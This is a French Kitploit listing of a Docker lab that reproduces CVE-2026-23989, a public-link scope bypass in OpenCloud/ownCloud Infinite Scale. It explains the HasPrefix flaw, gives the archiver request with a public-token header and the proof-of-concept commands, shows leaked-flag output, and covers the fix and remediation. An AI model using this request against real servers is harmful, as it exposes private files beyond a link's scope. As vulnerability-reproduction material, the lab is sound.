Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-23989-opencloud-lab — # Laboratoire de reproduction (A/B Docker) pour CVE-2026-23989 — Contournement de la validation de portée des liens publics dans OpenCloud / ownCloud Infinite Scale via Reva | Kitploit
Outils/GitHubGitHub/dinosn/cve-2026-23989-opencloud-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubdinosn/cve-2026-23989-opencloud-lab

cve-2026-23989-opencloud-lab

# Laboratoire de reproduction (A/B Docker) pour CVE-2026-23989 — Contournement de la validation de portée des liens publics dans OpenCloud / ownCloud Infinite Scale via Reva

Voir le dépôt
1il y a 12h 18mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-23989 — Contournement de la portée des liens publics OpenCloud / ownCloud Infinite Scale

Un laboratoire autonome, en une commande, qui reproduit CVE-2026-23989 et prouve qu'il est corrigé, en utilisant les images Docker officielles en amont. Un lien de partage public censé accorder l'accès à un dossier peut être abusé pour lire des fichiers en dehors de la portée de ce dossier.

CVECVE-2026-23989
AvisGHSA-vf5j-r2hw-2hrw (« Public Link Exploit »)
CVSS 3.18.2 Élevé — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
ClasseContrôle d'accès cassé — confusion de préfixe de chemin dans la validation de portée
Cause racineReva checkIfNestedResource utilisait strings.HasPrefix pour le confinement de chemin
AffectéOpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1)
CorrigéOpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522)
Divulgué2026-02-05

Lignée — pourquoi c'est un bug « ownCloud »

OpenCloud est un fork de 2025 d'ownCloud Infinite Scale (OCIS), créé par d'anciens ingénieurs d'ownCloud après l'acquisition d'ownCloud par Kiteworks. La faille se trouve dans Reva, le backend de stockage CS3 partagé par OCIS/OpenCloud, et — selon l'avis du fournisseur — « provient du codebase ownCloud (Kiteworks) et a été héritée lorsqu'OpenCloud a forké OCIS. » OpenCloud est utilisé ici car il fournit des images publiques vulnérables et corrigées, propres et épinglées, qui permettent une comparaison A/B exacte.


Le bug en une ligne

internal/grpc/interceptors/auth/scope.go, fonction checkIfNestedResource — l' intercepteur de passerelle qui décide si un jeton de lien public peut toucher une ressource :

root@kitploit:~
// vulnérable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil

parentPath est le chemin du dossier partagé (la portée du lien) ; childPath est le chemin de la ressource demandée. Le préfixage de chaîne n'est pas un confinement de chemin :

root@kitploit:~
parentPath = "/Shared"
childPath  = "/Shared-secret/flag.txt"          (un frère, PAS un enfant)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true   ← faux : accès accordé

Ainsi, un lien limité à /Shared atteint également toute ressource du même espace dont le chemin commence par la chaîne /Shared — par ex. /Shared-secret, /Shared-2024, /Shared backup. Le correctif remplace le test par filepath.Rel et rejette tout chemin relatif commençant par .. (correctif complet dans patch/reva-scope.go.patch).


Comment c'est exploité — le service d'archivage

Chaque opération de passerelle transportant un jeton de lien public passe par la vérification de portée buguée, mais la primitive des découvreurs (et celle de ce laboratoire) est le service d'archivage à GET /archiver, authentifié pour un lien public avec l' en-tête public-token:. Il accepte un identifiant de ressource (?id=<fileid>), le parcourt, et diffuse un zip. Pointez-le vers l'identifiant d'un frère de préfixe hors portée et la vérification buguée l'admet :

root@kitploit:~
GET /archiver?id=<id-de-/Shared-secret>
public-token: <jeton de lien limité à /Shared>
→ 200, zip de /Shared-secret   (sur 4.0.2)
→ 404 « gateway could not find space for ref=… »   (sur 4.0.3)

Précondition (dite honnêtement)

L'attaquant doit fournir l'identifiant de ressource de la cible hors portée. Cet identifiant opaque est un UUID aléatoire et n'est pas énumérable via le lien public lui-même (le lien ne peut pas lister l'espace du propriétaire — il renvoie 401). Dans OCIS, cependant, le oc:fileid d'une ressource est exposé dans presque chaque réponse WebDAV/graph, invitation de partage, notification d'activité et URL web (/f/<id>), donc tout collaborateur antérieur, ex-destinataire d'un autre partage, ou utilisateur interne le détient couramment — c'est pourquoi le fournisseur a évalué la complexité d'attaque comme Faible. Le setup.sh du laboratoire obtient l'identifiant « en tant que victime » pour le remettre à l'étape attaquant, modélisant cette connaissance préalable réaliste. Le traversement de chemin (?path=../…) n'est pas un substitut viable : ces chemins sont résolus relativement au partage et nettoyés (404).

Rayon d'explosion

  • Atteignable : ressources du même espace dont le chemin préfixe en chaîne le chemin du partage (la sous-arborescence partagée elle-même, plus les frères correspondant au préfixe).
  • Non atteignable : tout l'espace d'un coup — le chemin racine de l'espace est "/" et HasPrefix("/", "/Shared") est faux (le laboratoire le confirme : archivage racine de l'espace → 404). Les frères non-préfixes comme /Private sont refusés sur la build vulnérable aussi — le laboratoire l'utilise comme contrôle pour prouver que l'effet est spécifiquement le bug de préfixe, pas un échec d'authentification général.

Ce que contient ce laboratoire

FichierObjectif
docker-compose.ymlUn conteneur OpenCloud ; OC_TAG sélectionne la version vulnérable (4.0.2) ou corrigée (4.0.3).
setup.shSème le scénario victime dans l'espace de l'utilisateur démo mary et crée un lien public sans mot de passe sur /Shared. Écrit state.env.
exploit.shPoC attaquant. Étant donné le jeton de lien + un identifiant de ressource cible, appelle l'archiveur et imprime les octets exfiltrés.
verify.shA/B en une commande : reproduire sur 4.0.2, confirmer corrigé sur 4.0.3, imprimer une matrice PASS/FAIL.
patch/reva-scope.go.patchLe correctif exact d'une ligne en amont, annoté.

Scénario planté dans l'espace personnel de mary :

root@kitploit:~
/Shared/public-note.txt      ← partagé via le lien public      (dans la portée)
/Shared-secret/flag.txt      ← la cible du PoC ; chemin préfixe "/Shared"  (hors portée)
/Private/topsecret.txt       ← contrôle ; non-préfixe              (hors portée, reste refusé)

Démarrage rapide

Prérequis : Docker + Docker Compose, curl, python3. Télécharge ~250 Mo d'images.

root@kitploit:~
./verify.sh

Sortie attendue :

root@kitploit:~
== Exploit + contrôles contre VULNÉRABLE 4.0.2 ==
   [PASS] dans la portée /Shared (accès légitime) (fuite attendue)
   [PASS] PoC : hors portée /Shared-secret (fuite attendue)
   [PASS] non-préfixe /Private (doit rester refusé) (refus attendu)

== Exploit + contrôle contre CORRIGÉ 4.0.3 ==
   [PASS] dans la portée /Shared (fonctionne toujours) (fuite attendue)
   [PASS] PoC : hors portée /Shared-secret (corrigé) (refus attendu)

== Verdict ==
   5 réussis, 0 échoués
   CVE-2026-23989 reproduit sur 4.0.2 et confirmé corrigé sur 4.0.3.

Paire de versions rolling au lieu de stable :

root@kitploit:~
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh

Procédure manuelle

root@kitploit:~
# 1. démarrer la build vulnérable
OC_TAG=4.0.2 docker compose up -d

# 2. semer le scénario victime (crée le lien public, écrit state.env)
./setup.sh

# 3. attaque : fuir le frère hors portée (lit la cible depuis state.env)
./exploit.sh                                   # par défaut l'identifiant /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")"   # contrôle : refusé

Transcription réelle contre la build vulnérable (les valeurs de state.env varient à chaque exécution) :

root@kitploit:~
===== EXPLOIT  /Shared-secret  (frère de préfixe hors portée) =====
[*] Jeton de lien public : UVWPXGsjlLJRYxK   (portée : un seul dossier partagé)
[*] HTTP 200,      365 octets
      Shared-secret/flag.txt :
        FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] FUITE CONFIRMÉE — octets de fichier hors portée exfiltrés via le lien public.

===== CONTRÔLE  /Private  (hors portée, non-préfixe) =====
[*] HTTP 404,      249 octets
[-] REFUSÉ — le serveur a refusé : erreur : introuvable : gateway could not find space for ref=…

Confirmez le correctif avec les mêmes données (même jeton et identifiants) :

root@kitploit:~
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh          # maintenant → HTTP 404, REFUSÉ

Démontage :

root@kitploit:~
docker compose down -v

Remédiation

  • Mettez à niveau vers OpenCloud 4.0.3 / 5.0.2 ou ultérieur (Reva v2.40.3 / v2.42.3). Pour ownCloud Infinite Scale, mettez à jour vers une build Reva ≥ v2.40.3 / v2.42.3.
  • Impossible de mettre à niveau pour l'instant : désactivez les liens publics — définissez GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" sur le conteneur. Le fournisseur confirme que cela atténue complètement le problème (un lien public renvoie alors une erreur).

Notes de configuration du laboratoire (pourquoi ce n'est pas sûr pour la production)

docker-compose.yml affaiblit délibérément l'instance pour que le PoC soit scriptable : PROXY_ENABLE_BASIC_AUTH=true (pour que curl -u/public-token fonctionnent sans la danse OIDC), IDM_CREATE_DEMO_USERS=true (mary/demo etc. — mots de passe publics), IDM_ADMIN_PASSWORD=admin, liens publics sans mot de passe, et un certificat auto-signé (curl -k). Aucun de ces éléments n'est la vulnérabilité ; ils la rendent seulement observable dans un shell. Le contournement lui-même en est indépendant.

Références

  • Avis GitHub : https://github.com/opencloud-eu/opencloud/security/advisories/GHSA-vf5j-r2hw-2hrw
  • Avis du fournisseur : https://opencloud.eu/en/news/opencloud-developers-find-vulnerability
  • Correctif (Reva) : https://github.com/opencloud-eu/reva/pull/522 — commit 8d52003
  • OSV : https://osv.dev/vulnerability/CVE-2026-23989
Télécharger l’outil